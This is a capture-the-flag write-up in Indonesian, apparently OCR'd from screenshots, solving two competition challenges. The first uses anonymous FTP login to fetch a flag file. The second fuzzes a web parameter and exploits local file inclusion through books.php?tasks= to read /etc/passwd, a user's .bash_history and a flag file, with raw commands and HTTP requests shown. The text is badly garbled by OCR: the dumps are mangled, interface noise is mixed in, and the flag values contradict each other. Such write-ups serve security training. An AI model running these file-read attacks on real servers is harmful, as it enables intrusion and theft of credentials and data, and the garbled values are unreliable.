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[Web]

Encode

Screenshoot Soal

Challenge

Fotorec #1
100

Sebutkan Flag Nomor 1

Flag Submit

Solution

- Penjelasan proses analisa
- Penjelasan proses exploitasi

Scan semua port menggunakan nmap

103.183.92.191

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 14:49 WIB
Nmap scan report for 103.183.92.191
Host is up (0.039s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp  open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|==rw=r==r~= 10 (0] 103 Oct 15 02:12 pesan.txt
| ftp-syst:
| STAT:
| FTP server status:
Connected to ::ffff:103.144.15.113
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300

Data connections will be plain text
At session startup, client count was 6

vsFTPd 3.0.3 - secure, fast, stable
_End of status

|
|
|
|
|
| Control connection is plain text
|
|
|
|

ternyata dari hasil scan tersebut, ftp bisa
menggunakan user anonymous dan password untuk
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1

anonymous adalah “anonymous”.

103.183.92.191

Connected to 103.183.92.191.

220 (vsFTPd 3.0.3)

Name (103.183.92.191:roxasz): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

229 Entering Extended Passive Mode (|||59051]|)

150 Here comes the directory listing.

-rw-r--r-- 10 0] 103 Oct 15 02:12 pesan.txt
226 Directory send OK.

ftp> get pesan.txt

local: pesan.txt remote: pesan.txt

229 Entering Extended Passive Mode (|||12019])

150 Opening BINARY mode data connection for pesan.txt (103 bytes).
100% |*****************************************************************************************************| 103 304.80 KLB/S 00:00 ETA
226 Transfer complete.

103 bytes received in 00:00 (3.30 KiB/s)

ftp> ~D

221 Goodbye.

setelah itu, ternyata terdapat file bernama
pesan.txt, dan ternyata isi file tersebut flagnya,
menggunakan command get untuk transfer file dari ftp
server ke local.

ref : wikipedia

Selamat datang di Fotorec System. Berikut pesan anda :
Flagl{a774409a00c21de377cf8ed5c6a56b8547973042}

Flag: a774409a00c21de377cf8edbc6ab6b8547973042
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https://en.wikipedia.org/wiki/List_of_FTP_commands

[Reverse]

Judul Soal

Screenshot

Challenge

Fallout #1
150

Sebutkan Flag Nomor 1

Flag Submit

Solution

- Penjelasan proses analisa
- Penjelasan proses exploitas

menggunakan dirsearch untuk mendapatkan url yang
tidak muncul di halaman page.

http://103.183.92.192/

-> http://103.183.92.192/admin/

-> http://103.183.92.192/admin/login. php

-> http://103.183.92.192/admin/login.php

-> http://103.183.92.192/assets/

Kediri Cyber Security Competition 2024 | Nama Tim



terlihat disana ternyata ada books.php

DFE)v|1 2 3 4| B0 0

sphox |+

A Notsecure 103.183.92.192

103.183.92.192 says

Missing GET parameter!

ternyata butuh param, mari kita brute paramnya apa
aja yang dipakai menggunakan ffuf

/' \ 7
/N \__/ /\ N\ —
AV VT W NP VA W VAV W W WS
VU W VIV W W VA W U W U O W O W
AN VA U W W2 W VAN
\/_/ N ___/ \/_/

-\
_/

:: Method 8
:: URL : http://103.183.92.192/books. php?FUZZ=/etc/passwd
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common. txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40

: Matcher : Response status: 200-299,301,302,307,401,403,405,500

: Response size: 80

:: Progress: [4734/4734] :: Job [1/1] :: 1282 req/sec :: Duration: [0:00:03] :: Errors: 0 ::

ternyata dari fuzzing tersebut kita dapatkan param
tasks langsung saja kita dapatkan /etc/passwdnya.

bin:x:1: daemon:x:2: adm:x Ip:x:4:7:Ips y halt:x
mail:x:8:12:mail: i in operator:x:1 games:x:12: i ftp:x:14:50:FTP U ly:x:63534: 1 Overflow U systemd-c Core
D i nd-network:x:192:192: d Network i in systemd-resolve:x:193:193:sy i in dbus:x:81:81: message i :User for p sshdrx:74:74:Privilege-sep
cockpit-ws:x:997:993:User for cockpi 1pcix:32:32:Rpcbind Daemon:/var/l abrt:x:173:173: in rpeuser:x:29:20:RPC Service User: i
tepdump:x:72:72 qiu: apache:x:48:48:Ap 5 web server: count used by the tpm2-abrmd package
to sandbox the tpm2-abrmd gin clevis: :Clevis Decryption Framework ileged user:/var/cachs in mysql:x:27:27:MySQL “var/li bruno:x:1001:

layla:x:1002:1002:home/layla:/bin/bash
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karena sama seperti vulnhub jadi tinggal ke
/home/bruno/.bash_history untuk melihat apa
yang user bruno lakukan, lalu ternyata

Burp Suite Professional v2024.8.5 - Temporary Project - licensed to rOxdsz

dir

Burp Project Intruder Repeater View Help

Dashboard  Target  Proyy  ntruder _ Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Lean  403Bypasser xssvalidator
1x 2 x 3x 4+
EXR <
Request Response
n Pretty  Rav Hex  Render

Pretty  Raw  Hex

GET /books. php? tasks=/home/bruno/pesant. txt HTTP/1.1
Host: 103.183.92.192
Cache-Control: max-age=
Accept-Language: en-US,en;q=0.
Upgrade-Insecure-Requests: 1 5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Applewebkit/537.36 (KHTML, like
Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept:
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,image/webp,image/apng, */*
;4=0.8, application/signed-exchange; 7

gzip, deflate, br

Live

HITP/1.1 200 0K
Date: Thu, 24 Oct 2024 08:34:20 GMT

Server: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/v5.26.3
X-Powered-By: PHP/7.2.18

, max=100

: Keep-Alive

Content-Type: text/htnl; charset=UrF-8

Content-Length: 74

1

Pesan untuk user Bruno :

3; 9=

Flag1{coobsfccBe12a2543e7c2blechf 2661bc668d243)

Burp Suite Professional v2024.8.5 - Temporary Project - licensed to rOxdsz

Burp Project Intruder Repeater View Help

Dashboard  Target  Prowy  intruder _ Repeater  Collaborator  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Lean  403Bypasser xssvalidator
1x  2x  3x +
Eme <
Request Response
n Pretty Raw Hex Render

Pretty  Raw  Hex
GET /books. php?tasks=/home/bruno/.bash_history HTTP/1.1
Host: 103.183.92.192
= Cache-Control: max-age=0
Accept-Language: en-US, en;
Upgrade- Insecure-Requests:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win6d; x64) ApplewebKit/S37.36 (KHTML, like
Gecko) Chrome/129.0.6668.71 Safari/537.36
7 Accept:
text/html, application/xhtml+xnl, application/xml;q=0.9, image/avif, image/webp, image/apng, */*
;4=0.8, application/signed-exchange; v=b3;4=0.7
& Accept-Encoding: gzip, deflate, br
o Connection;. keep:alive

HTTP/1.1 200 OK
Date: Thu, 24 Oct 2024 08:33:07 GMT
5 Server: Apache/2.4.39 (Fedora) OpenSSL/1.1.0i-fips mod_perl/2.0.10 Perl/vs.26.3
.18

Content-Type: text/htnl; charset=UTF-8
Content-Length: 221

history
ssh-keygen -t rsa -b 4096 -
cat /home/bruno/.ssh/id_rsa.pub >> /home/bruno/.ssh/authorized_keys

cat pesanl.txt
sudo su -
sudo

5 sudo su
sudo su -

flag ada di /home/bruno/pesanl.txt

Flag: KCSC{text}

Targ
Inspector @ X g
Request attributes 2 v 7
-
z
Request query parameters v g
Request body parameters 0o v
Request cookies 0 v Cl
g
Request headers 8 v a
Response headers. 7 v

0 search (@ settings

£

Target: http://103.183.92.192 /°  HTTPN (D)

Inspector s -@®x g

Request attributes 2 v |7

£

2

Request query parameters 1 v g
Request body parameters o v

Request cookies D - 12

z

g

Request headers 8 v &
Response headers 7 v
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Terimakasih
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